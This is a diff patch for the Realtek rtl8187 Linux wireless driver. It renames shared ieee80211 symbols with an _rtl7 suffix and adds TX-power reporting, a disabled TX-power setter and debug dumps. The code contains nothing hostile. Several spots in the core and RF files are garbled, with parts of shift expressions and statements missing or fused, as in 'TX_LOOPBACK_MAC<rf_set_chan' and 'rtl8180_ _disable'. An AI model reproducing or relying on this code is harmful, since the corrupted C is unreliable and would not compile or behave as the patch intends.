ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-03-05 00:31:37.815123790 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-03-05 00:31:41.295176286 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-03-05 00:31:37.935125600 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-03-05 00:31:41.435178397 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-03-05 00:31:38.025126958 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-03-05 00:31:38.045127259 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-03-05 00:31:38.115128315 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, 